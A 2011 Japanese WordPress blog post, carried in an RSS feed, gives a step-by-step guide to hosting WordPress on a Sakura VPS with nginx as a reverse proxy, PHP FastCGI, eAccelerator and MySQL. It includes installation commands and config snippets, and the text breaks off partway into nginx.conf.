<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>さくらたんどっとびーず &#187; WordPress</title>
	<atom:link href="http://sakuratan.biz/archives/tag/wordpress/feed" rel="self" type="application/rss+xml" />
	<link>http://sakuratan.biz</link>
	<description>モロモロ工事中です</description>
	<lastBuildDate>Sun, 25 Jun 2023 12:51:51 +0000</lastBuildDate>
	<language>ja</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>さくらVPSとnginxリバースプロクシで最速WordPressブログを作る方法（ベンチマーク付き）</title>
		<link>http://sakuratan.biz/archives/4582</link>
		<comments>http://sakuratan.biz/archives/4582#comments</comments>
		<pubDate>Wed, 07 Sep 2011 06:07:01 +0000</pubDate>
		<dc:creator>さくら</dc:creator>
				<category><![CDATA[nginx]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://sakuratan.biz/?p=4582</guid>
		<description><![CDATA[負荷的に厳しくなってきたので sakuratan.biz を Apache（さくらスタンダード）から nginx（さくら VPS 512）に移転しました。 頻発していた 503 もほとんど出なくなって快適です。 Apache から VPS の nginx へ WordPress を移転したいと考えている人もいるかなーと思いましたので、さくら VPS で nginx リバースプロクシを使った Wor... <div style="margin-top:1ex"><a href="http://sakuratan.biz/archives/4582">(続きを読む)</a></div>]]></description>
			<content:encoded><![CDATA[<p>負荷的に厳しくなってきたので sakuratan.biz を Apache（さくらスタンダード）から nginx（さくら VPS 512）に移転しました。<br />
頻発していた 503 もほとんど出なくなって快適です。</p>
<p>Apache から VPS の nginx へ WordPress を移転したいと考えている人もいるかなーと思いましたので、<a href="http://vps.sakura.ad.jp/">さくら VPS</a> で nginx リバースプロクシを使った WordPress ブログの構築する方法をがっつり書いていきたいと思います。</p>
<p style="margin:2em 0 3em;padding-left:4em"><img src="http://sakuratan.biz/blog/wp-content/uploads/2011/09/logos.png" alt="" title="WordPress / NGiNX" width="434" height="138" class="aligncenter size-full wp-image-4745" /></p>
<p>結構長文になってしまいましたので、先に索引を載せときます。</p>
<ol>
<li>nginx とは</li>
<li>nginx が速い理由</li>
<li>リバースプロクシ</li>
<li>さくら VPS にインストールするシステム構成</li>
<li>EPEL パッケージリポジトリのインストール</li>
<li>MySQL のインストール</li>
<li>PHP のインストール</li>
<li>nginx のインストール</li>
<li>nginx と PHP FastCGI の設定</li>
<li>WordPress のインストール</li>
<li>Nginx Proxy Cache Purge WordPress プラグインのインストール</li>
<li>ベンチマーク</li>
<li>参考サイト</li>
</ol>
<p>nginx が速い速いとだけ言われてもいまいち腑に落ちない方もいらっしゃるかと思いましたので、最初の方の章は nginx 自体の説明にしました。前置きは置いといてとりあえずインストール方法を知りたい方は、『さくら VPS にインストールするシステム構成』あたりからどうぞ。ちなみにさくら VPS は CentOS ですので、他のレン鯖でも OS が同じなら同じ手順でインスコできると思います。</p>
<p>サンプルのファイルをまとめた zip を <a href="/nginx/nginx-examples.zip">nginx-examples.zip</a> に置いてますので、とりあえずファイルだけ欲しいって人はこちらをどうぞ。</p>
<p>あと、なんとなくあった方が良いかなーと思いまして Apache と nginx のベンチマークもしてみました。結果の方は最後の方に載せてますが、結論だけ言えば nginx は多い日も安心の<strike>ロリエセーフティロング</strike>高性能です。</p>
<h3>nginx とは</h3>
<p>まず最初に <a href="http://wiki.nginx.org/NginxJa">nginx の wiki</a> から引用します。</p>
<blockquote><p>
Nginxはその高いパフォーマンスと安定性、豊富な機能、設定の容易さ、消費リソースの低さで知られています。</p>
<p>Nginxは<a href="http://www.kegel.com/c10k.html">C10K問題</a>に取り組むべく開発された一握りのサーバのうちの一つです。従来のサーバとは異なり、Nginxはリクエストの処理をスレッドに依存していません。その代わりにもっとスケーラブルな（非同期の）イベント駆動アーキテクチャを使用しています。このアーキテクチャはメモリ使用量が少ないだけでなく、最も重要な事として、稼働時のメモリ使用量が予測可能であるということです。</p>
<p><cite><a href="http://wiki.nginx.org/NginxJa">http://wiki.nginx.org/NginxJa</a></cite>
</p></blockquote>
<p>C10K問題とは、ハードウェアは安くなって大量のクライアントを同時処理できるようになったけど、OS やサーバプログラムの実装がボトルネックになってて1万（=10K）クライアント以上は処理できない(*´・ω・)(・ω・｀*)ﾈｰ、という問題です。（<a href="http://www.atmarkit.co.jp/news/analysis/200701/09/c10k.html">Web2.0の先にあるC10K問題 － ＠IT</a> の説明が分かりやすいと思いますので詳しく知りたい方はどうぞ。）</p>
<p>上の概要に書いてますが、nginx はC10K問題を解決すべく作られた新しいウェブサーバですので、Apache 等の従来からあるウェブサーバと比べて本質的にスケーラブルなシステムとなっています。</p>
<h3>nginx が速い理由</h3>
<p>開発されてる方でしたら、nginx が速いと言う話をどこかで聞いた事があるかと思います。</p>
<p>実際のところ nginx が速いと言うよりも、nginx は Apache などの従来のサーバと比べ少ないリソースで複数の HTTP リクエストを処理できるように設計されているため、サーバが負荷の高い状態になっても性能が劣化しにくい、と言うのがより正確だと思います。</p>
<p>ということで、nginx が高負荷状態に強い仕組みについて簡単に説明しようと思います。</p>
<hr class="linebreak" />
<p>nginx では外部からのネットワークコネクションを受け付けるプロセスをマスタープロセス、HTTP リクエストに対するレスポンスを返すプロセスをワーカープロセスと呼びます。マスタープロセスはコネクションを受け取ると稼働中のワーカープロセスのいずれかに HTTP レスポンスを返す処理を行うよう指示します。（マスター／ワーカープロセス構成自体は TCP/IP ベースの Unix daemon の一般的な構成ですので速い理由と関係ありません。）</p>
<p>nginx のワーカープロセスは（kqueue (FreeBSD 4.1以降)／epoll (Linux 2.6以降) などのカーネルによって異なる）非同期 I/O 通知メソッドを使い、複数のリクエスト／レスポンスを一つのプロセスで平行して同時に処理します。</p>
<div style="border:solid 1px #eee;padding 0 1em">
<img src="http://sakuratan.biz/blog/wp-content/uploads/2011/08/f2.png" alt="" title="nginx" width="511" height="199" class="aligncenter size-full wp-image-4634" />
</div>
<hr class="thin-linebreak" />
<p>一方、Apache などの従来のウェブサーバでは、リクエストを応答するプロセスは同期 I/O を使います。同期 I/O を使うと一つのワーカープロセスは複数の HTTP リクエストを同時に処理することができません。複数の HTTP リクエストを処理する場合は、先行するリクエストが完了するのを待って順次処理していきます。</p>
<div style="border:solid 1px #eee;padding 0 1em">
<img src="http://sakuratan.biz/blog/wp-content/uploads/2011/08/f1.png" alt="" title="Apache" width="528" height="196" class="aligncenter size-full wp-image-4633" />
</div>
<hr class="thin-linebreak" />
<p>Apache の場合、サーバにアクセスが集中し応答すべきリクエストが増えてきて、既に起動しているワーカープロセスだけでは処理が追いつかなくなると、新しいワーカープロセスを起動したり／新しいワーカープロセスを起動できない場合応答中のレスポンスの完了を待ってからリクエスト処理を開始することになります。</p>
<p>ワーカープロセスはそれぞれある程度のメモリを使用しますので、システムリソースから決まる同時応答可能な上限を越えると（スラッシングが発生するなどの原因で）ウェブサーバ全体の性能が急激に悪化します。（MPM worker を使って Apache をマルチスレッドで動かす場合も、1スレッドに対してそれなりのシステムリソースが必要となりますので、高負荷状態においてこの問題はそれほど改善しないです。）</p>
<p>それに対して nginx の場合、非同期 I/O を使って一つ（設定により増やせますがあくまで少数）のワーカープロセスですべてのリクエストを処理するよう設計されいます。必要なシステムリソースが少ないので、Apache では性能が悪化する局面でも極端に性能が悪化しません。なので nginx は速い、ということになります。</p>
<hr class="linebreak" />
<p>ちなみにワーカープロセスが行うレスポンス処理については Apache と nginx で特に性能に差がある訳ではありませんので、1リクエスト当たりの実処理時間はだいたい同じです。（一部のベンチマークではレスポンス自体は nginx の方が遅いという数字が出ていますが、自分のサイトで測った限りでは意味のある差はでませんでした。いずれにしても今時のサーバだと、ワーカープロセスの性能の優劣は特に気にする必要はないと思います。）</p>
<hr class="linebreak" />
<div style="padding:0 2em">
<div class="AA2" style="margin-bottom:2em"> 　_______________________<br />
 　　　　　＜○√　　くそっもうだめか・・!!<br />
 　　　　　 くく　　　リクエストが多すぎる、Apacheでは処理しきれない・・・ </div>
<div class="AA2" style="margin-bottom:2em"> 　________________________________<br />
 　　　　　　　　~|<br />
 　　　　　　　　　＼○　　　　大丈夫か？BOY<br />
 　　　　　 　 　　　 ∥＼<br />
 　　　<○>　　　　 ∥／<br />
 　　　 ∥　　　　／ |<br />
 　　 　>>　　　　＼ |<br />
 　nginxさん！！</div>
</div>
<h3>リバースプロクシ</h3>
<p>リバースプロクシとは、ざっくり言いますとウェブサーバをまるごとキャッシュする機能です。</p>
<p>WordPress などを動かす場合、アプリケーションを実行する部分がウェブサーバのボトルネックとなります。このボトルネックを解消するために、<a href="http://wordpress.org/extend/plugins/wp-super-cache/">WP Super Cache</a> などのアプリケーションレベルでのキャッシュや <a href="http://httpd.apache.org/docs/2.2/ja/mod/mod_cache.html">mod_cache</a> などのウェブサーバレベルでのキャッシュがありますがウェブサーバと別にリバースプロクシサーバを用意しプロクシサーバがキャッシュを行うという解決方法もあります。</p>
<hr class="linebreak" />
<p>リバースプロクシを加えたウェブサーバの処理は下図のようになります。</p>
<p><img src="http://sakuratan.biz/blog/wp-content/uploads/2011/09/rp.png" alt="" title="リバースプロクシ" width="500" height="275" class="aligncenter size-full wp-image-4937" style="padding:1em;border: solid 1px #ccc" /></p>
<p>リバースプロクシサーバがフロントエンドとなり、80 番ポートで外部からの HTTP リクエストを受け取ります。<br />
リクエストされた URL がキャッシュされていれば、プロクシサーバはキャッシュ済みのレスポンスを返します。<br />
キャッシュされていなければウェブサーバへリクエストを転送し、レスポンスをキャッシュして返します。</p>
<p>プロクシサーバには PHP スクリプトを実行する機能などは不要ですので、通常ウェブサーバよりも高速に動くよう実装されています。システム構成にリバースプロクシを加えることで全体での処理能力が高くなります。</p>
<p>nginx をリバースプロクシにする場合、リバースプロクシの設定が簡単なので（一つの設定ファイルにフロントエンドのプロクシサーバとバックエンドのウェブサーバの設定を記述できます）、とりあえずリバースプロクシも立てとけって感じです。</p>
<hr class="linebreak" />
<p>ちなみに、nginx をリバースプロクシに、バックエンドのウェブサーバは元から動いていた Apache そのまま、といった構成も可能です。VPS（特にさくら VPS 512）ではメモリサイズ的にこの構成は少し厳しいと思いますが、リソースにある程度余裕がある状況では費用対効果の高い性能改善策になると思います。</p>
<h3>さくら VPS にインストールするシステム構成</h3>
<p>ということで、nginx 自体の説明はこの辺にして、さくら VPS で nginx リバースプロクシを有効にした WordPress ブログのインストール方法について説明していきたいと思います。</p>
<p>まずさくら VPS のデフォルト OS は CentOS でして、OS はそのまま使う設定で話を進めます（VPS に Debian 入れたりする人は nginx の How To 記事なんか見なくても自分で設定できると思いますし）。CentOS ならさくら VPS 以外のサーバでもだいたい同じような手順でインスコできると思います（プレインストールされている yum パッケージの構成やバージョンが違う場合、一部異なる手順になるかもしれませんが）。</p>
<hr class="linebreak" />
<p>インストールするシステム構成はこんな感じです。リバースプロクシ／ウェブサーバともに nginx を使います。nginx には PHP を実行する機能がありませんので、FastCGI サーバとして PHP を実行します。</p>
<ul>
<li>nginx 1.0.6 + Cache Purge plugin</li>
<li>PHP 5.3.3 + FastCGI + eAccelerator</li>
<li>MySQL 5.0.77</li>
<li>WordPress 3.2.1-ja</li>
</ul>
<p>MySQL は yum のパッケージから普通にインスコします。</p>
<p>PHP は最近 yum に追加されたっぽい php53 パッケージを使います。eAccelerator があった方が良いのですが、php53 系列には eAccelerator のパッケージが無いのでこれだけソースからインスコします。</p>
<p>nginx はソースからビルドしてインスコします。nginx のパッケージが EPEL リポジトリにあるのですが、WordPress を動かす場合パッケージ版の nginx には含まれていない Cache Purge プラグインが欲しいので、パッケージは使いません。（nginx にプラグインを追加する場合はビルド時に組み込む必要があります。）</p>
<hr class="linebreak" />
<p>以下、EPEL のインスコ、MySQL インスコ／起動、PHP インスコ、nginx インスコ、nginx / PHP FastCGI の設定、WordPress インスコ…みたいな順番で書いてます。知ってるところは適当に読み飛ばしてください。</p>
<p>特に明記しない場合すべて root で作業を行う前提で書いています。まずサーバにログインして su するか sudo してください。</p>
<h3>EPEL パッケージリポジトリのインストール</h3>
<p>最初に EPEL パッケージをインスコします。<a href="https://fedoraproject.org/wiki/EPEL">EPEL の公式サイト</a> から <a href="http://download.fedoraproject.org/pub/epel/6/i386/epel-release-5-4.noarch.rpm">epel-release-5-4.noarch.rpm</a> をダウンロードして rpm コマンドでインスコします。（EPEL 6 系列は CentOS にはインストールできませんので epel-release-5-4.noarch.rpm もしくはバージョン 5 系列の最新版をインストールしてください。）</p>
<div class="codecolorer-container bash dawn" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #c20cb9; font-weight: bold;">wget</span> http:<span style="color: #000000; font-weight: bold;">//</span>download.fedoraproject.org<span style="color: #000000; font-weight: bold;">/</span>pub<span style="color: #000000; font-weight: bold;">/</span>epel<span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">6</span><span style="color: #000000; font-weight: bold;">/</span>i386<span style="color: #000000; font-weight: bold;">/</span>epel-release-<span style="color: #000000;">5</span>-<span style="color: #000000;">4</span>.noarch.rpm<br />
rpm <span style="color: #660033;">-Uvh</span> epel-release-<span style="color: #000000;">5</span>-<span style="color: #000000;">4</span>.noarch.rpm</div></div>
<p>EPEL パッケージのインスコ方法も含めて、yum 関係で VPS を借りたら最初にしといた方が良い作業が <a href="http://tanaka.sakura.ad.jp/2011/05/centos-linux-apache-php-perl-mysql-lamp.html">ウェブ開発者のための、1時間でできるLAMP環境構築術（CentOS編） &#8211; さくらインターネット創業日記</a>に書かれてますので、よく分からない人はまずはこちらをご覧ください。</p>
<h3>MySQL のインストール</h3>
<p>MySQL は yum パッケージをインスコします。</p>
<div class="codecolorer-container bash dawn" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #c20cb9; font-weight: bold;">yum install</span> mysql mysql-server</div></div>
<p>インスコしたらサーバを起動し、chkconfig でリブート時に MySQL サーバが立ち上がるように設定します。</p>
<div class="codecolorer-container bash dawn" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>init.d<span style="color: #000000; font-weight: bold;">/</span>mysqld start<br />
<span style="color: #000000; font-weight: bold;">/</span>sbin<span style="color: #000000; font-weight: bold;">/</span>chkconfig <span style="color: #660033;">--level</span> <span style="color: #000000;">345</span> mysqld on</div></div>
<h3>PHP のインストール</h3>
<p>yum から php53 パッケージをインスコし、eAccellaretor だけソースからビルドします。</p>
<div class="codecolorer-container bash dawn" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #c20cb9; font-weight: bold;">yum install</span> php53 php53-cli php53-xml php53-mysql php53-mbstring php53-devel</div></div>
<p>php53-xml は要らないような気もしますが検証するの忘れてましたのでとりあえずインストールするということで。</p>
<p>PHP をインスコできたら、eAccellaretor のソースコードを <a href="http://sourceforge.net/projects/eaccelerator/">SourceForge</a> からダウンロードして展開します。（eAccellaretor のビルド作業については、make install 以外は一般ユーザーで作業しても問題ないです。）</p>
<div class="codecolorer-container bash dawn" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #c20cb9; font-weight: bold;">wget</span> http:<span style="color: #000000; font-weight: bold;">//</span>downloads.sourceforge.net<span style="color: #000000; font-weight: bold;">/</span>sourceforge<span style="color: #000000; font-weight: bold;">/</span>eaccelerator<span style="color: #000000; font-weight: bold;">/</span>eaccelerator-0.9.6.1.zip<br />
<span style="color: #c20cb9; font-weight: bold;">unzip</span> eaccelerator-0.9.6.1.zip</div></div>
<p>ビルドしてインスコします。</p>
<div class="codecolorer-container bash dawn" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #7a0874; font-weight: bold;">cd</span> eaccelerator-0.9.6.1<br />
phpize<br />
.<span style="color: #000000; font-weight: bold;">/</span>configure <span style="color: #660033;">--enable-eaccelerator</span><br />
<span style="color: #c20cb9; font-weight: bold;">make</span><br />
<span style="color: #c20cb9; font-weight: bold;">make</span> <span style="color: #c20cb9; font-weight: bold;">install</span></div></div>
<p>make install で /usr/lib64/php/modules に eaccelerator.so がコピーされますので、/etc/php.ini の extension に eaccelerator.so を追加します。</p>
<div class="codecolorer-container ini dawn" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="ini codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #666666; font-style: italic;">;;;;;;;;;;;;;;;;;;;;;;</span><br />
<span style="color: #666666; font-style: italic;">; Dynamic Extensions ;</span><br />
<span style="color: #666666; font-style: italic;">;;;;;;;;;;;;;;;;;;;;;;</span><br />
<br />
<span style="color: #000099;">extension</span><span style="color: #000066; font-weight:bold;">=</span><span style="color: #660066;">eaccelerator.so</span></div></div>
<p>デフォルトでは eaccelerator.cache_dir が /tmp/eaccelerator になっていますが個人的に /var/tmp 以下にしたいので、php.ini の末尾に以下の設定を加えます。デフォルトで問題ない場合はそのままでどうぞ。</p>
<div class="codecolorer-container ini dawn" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="ini codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000066; font-weight:bold;"><span style="">&#91;</span>eAccelerator<span style="">&#93;</span></span><br />
eaccelerator.cache_dir <span style="color: #000066; font-weight:bold;">=</span> <span style="color: #933;">&quot;/var/tmp/eaccelerator&quot;</span></div></div>
<p>eaccelerator.cache_dir を作ります。パーミッションはサーバによって適当に変えてください。</p>
<div class="codecolorer-container bash dawn" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #c20cb9; font-weight: bold;">mkdir</span> <span style="color: #660033;">-p</span> <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>eaccelerator<br />
<span style="color: #c20cb9; font-weight: bold;">chmod</span> <span style="color: #000000;">777</span> <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>eaccelerator</div></div>
<h3>nginx のインストール</h3>
<p>nginx をソースからビルドするため、ビルドと実行に必要な yum パッケージをインスコします。</p>
<div class="codecolorer-container bash dawn" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #c20cb9; font-weight: bold;">yum</span> <span style="color: #660033;">--enablerepo</span>=epel <span style="color: #c20cb9; font-weight: bold;">install</span> <span style="color: #c20cb9; font-weight: bold;">make</span> <span style="color: #c20cb9; font-weight: bold;">automake</span> <span style="color: #c20cb9; font-weight: bold;">gcc</span> gcc-c++ rpm-build spawn-fcgi \<br />
pcre-devel zlib-devel openssl-devel libxslt-devel GeoIP-devel gd-devel</div></div>
<p>スクラッチからビルドすると init.d のスクリプト等を用意しないといけないので、nginx のソースパッケージ (SRPM) をダウンロードしてから、最新版の nginx を Cache Purge Plugin 付きでビルドするように nginx.spec を書き換えます。</p>
<p>まず EPEL 配布サイトから nginx の SRPM <a href="http://download.fedora.redhat.com/pub/epel/5/SRPMS/nginx-0.8.54-1.el5.src.rpm">nginx-0.8.54-1.el5.src.rpm</a> をダウンロードします。</p>
<div class="codecolorer-container bash dawn" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #c20cb9; font-weight: bold;">wget</span> http:<span style="color: #000000; font-weight: bold;">//</span>download.fedora.redhat.com<span style="color: #000000; font-weight: bold;">/</span>pub<span style="color: #000000; font-weight: bold;">/</span>epel<span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">5</span><span style="color: #000000; font-weight: bold;">/</span>SRPMS<span style="color: #000000; font-weight: bold;">/</span>nginx-0.8.54-<span style="color: #000000;">1</span>.el5.src.rpm</div></div>
<p>SRPM は rpm コマンドでインスコします。/usr/src/redhat/SPEC に nginx.conf が、/usr/src/redhat/SOURCES に SRPM に含まれるファイルが展開されます。</p>
<div class="codecolorer-container bash dawn" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">rpm <span style="color: #660033;">-ivh</span> nginx-0.8.54-<span style="color: #000000;">1</span>.el5.src.rpm</div></div>
<p>rpm -ivh を実行する際に mockbuild ユーザーが存在しないためワーニングが出ますが無視して問題ないです。</p>
<p>SRPM をインスコできたら、/usr/src/redhat/SOURCES に最新版の nginx と Cache Purge plugin をダウンロードします。</p>
<div class="codecolorer-container bash dawn" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #7a0874; font-weight: bold;">cd</span> <span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>src<span style="color: #000000; font-weight: bold;">/</span>redhat<span style="color: #000000; font-weight: bold;">/</span>SOURCES<br />
<span style="color: #c20cb9; font-weight: bold;">wget</span> http:<span style="color: #000000; font-weight: bold;">//</span>nginx.org<span style="color: #000000; font-weight: bold;">/</span>download<span style="color: #000000; font-weight: bold;">/</span>nginx-1.0.6.tar.gz<br />
<span style="color: #c20cb9; font-weight: bold;">wget</span> http:<span style="color: #000000; font-weight: bold;">//</span>labs.frickle.com<span style="color: #000000; font-weight: bold;">/</span>files<span style="color: #000000; font-weight: bold;">/</span>ngx_cache_purge-<span style="color: #000000;">1.3</span>.tar.gz</div></div>
<p>nginx-1.0.6 で Cache Purge を有効にした nginx.spec を <a href="/nginx/nginx.spec">nginx.spec</a> に置いてますので /usr/src/redhat/SPECS ディレクトリにダウンロードしてからビルドします。</p>
<div class="codecolorer-container bash dawn" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #7a0874; font-weight: bold;">cd</span> <span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>src<span style="color: #000000; font-weight: bold;">/</span>redhat<span style="color: #000000; font-weight: bold;">/</span>SPECS<br />
<span style="color: #c20cb9; font-weight: bold;">mv</span> nginx.spec nginx.spec.orig<br />
<span style="color: #c20cb9; font-weight: bold;">wget</span> http:<span style="color: #000000; font-weight: bold;">//</span>sakuratan.biz<span style="color: #000000; font-weight: bold;">/</span>nginx<span style="color: #000000; font-weight: bold;">/</span>nginx.spec<br />
rpmbuild <span style="color: #660033;">-bb</span> nginx.spec</div></div>
<p>ビルドが終われば /usr/src/redhat/RPMS/x86_64 に nginx-1.0.6-1.x86_64.rpm が作成されますので rpm コマンドでインスコします。</p>
<div class="codecolorer-container bash dawn" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">rpm <span style="color: #660033;">-Uvh</span> <span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>src<span style="color: #000000; font-weight: bold;">/</span>redhat<span style="color: #000000; font-weight: bold;">/</span>RPMS<span style="color: #000000; font-weight: bold;">/</span>x86_64<span style="color: #000000; font-weight: bold;">/</span>nginx-1.0.6-<span style="color: #000000;">1</span>.x86_64.rpm</div></div>
<h3>nginx と PHP FastCGI の設定</h3>
<p>必要なものがインスコできたら nginx の設定をしていきます。</p>
<hr class="thin-linebreak" />
<h4>PHP FastCGI サーバ起動用スクリプトの作成</h4>
<p>FastCGI サーバとして PHP を起動するためのスクリプトを <a href="/nginx/php-fastcgi">php-fastcgi</a> に置いていますので、ダウンロードしてから /etc/init.d に置きます。</p>
<div class="codecolorer-container bash dawn" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #c20cb9; font-weight: bold;">wget</span> http:<span style="color: #000000; font-weight: bold;">//</span>sakuratan.biz<span style="color: #000000; font-weight: bold;">/</span>nginx<span style="color: #000000; font-weight: bold;">/</span>php-fastcgi<br />
<span style="color: #c20cb9; font-weight: bold;">mv</span> php-fastcgi <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>init.d<br />
<span style="color: #c20cb9; font-weight: bold;">chmod</span> <span style="color: #000000;">755</span> <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>init.d<span style="color: #000000; font-weight: bold;">/</span>php-fastcgi</div></div>
<p>PHP FastCGI サーバの実行ユーザー等を変更する場合は、php-fastcgi スクリプトの以下の箇所を変更してください。なお、以下の説明では 9000 番ポート上で PHP FastCGI サーバを起動する設定で例示しています。また、FastCGI サーバとの通信に TCP/IP ではなく Unix ドメインソケットを使用したい場合は php-fastcgi  の spawn-fcgi の起動方法を変更してください（変更方法は各自で調べてください）。</p>
<div class="codecolorer-container bash dawn" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #007800;">user</span>=nginx<br />
<span style="color: #007800;">group</span>=nginx<br />
<span style="color: #007800;">host</span>=127.0.0.1<br />
<span style="color: #007800;">port</span>=<span style="color: #000000;">9000</span><br />
<span style="color: #007800;">pidfile</span>=<span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>run<span style="color: #000000; font-weight: bold;">/</span>nginx<span style="color: #000000; font-weight: bold;">/</span>php-fastcgi.pid<br />
<span style="color: #007800;">numclients</span>=<span style="color: #000000;">5</span></div></div>
<p>pidfile を作成するディレクトリは、PHP FastCGI サーバの実行ユーザー（変更しなければ nginx）から書き込める必要がありますので、php-fastcgi スクリプトをデフォルトのまま使う場合は予め /var/run/nginx ディレクトリを作成する必要があります。</p>
<div class="codecolorer-container bash dawn" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #c20cb9; font-weight: bold;">mkdir</span> <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>run<span style="color: #000000; font-weight: bold;">/</span>nginx<br />
<span style="color: #c20cb9; font-weight: bold;">chown</span> nginx:nginx <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>run<span style="color: #000000; font-weight: bold;">/</span>nginx</div></div>
<p>以上の作業が終われば、とりあえず php-fastcgi を起動してみます。</p>
<div class="codecolorer-container bash dawn" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>init.d<span style="color: #000000; font-weight: bold;">/</span>php-fastcgi start</div></div>
<p>エラーが出る場合は設定を確認してください。</p>
<hr class="thin-linebreak" />
<h4>nginx.conf の修正</h4>
<p>/etc/nginx/nginx.conf にリバースプロクシとバックエンドウェブサーバと PHP FastCGI サーバの設定を追加します。ちょっと長いですが全部貼ります。サーバにファイルを置いてますのでコピペして使いたい方は <a href="/nginx/nginx.conf">nginx.conf</a> をどうぞ。</p>
<div class="codecolorer-container ini dawn" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="ini codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">user &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;nginx<span style="color: #666666; font-style: italic;">;</span><br />
worker_processes &nbsp;<span style="">1</span><span style="color: #666666; font-style: italic;">;</span><br />
<br />
error_log &nbsp;/var/log/nginx/error.log<span style="color: #666666; font-style: italic;">;</span><br />
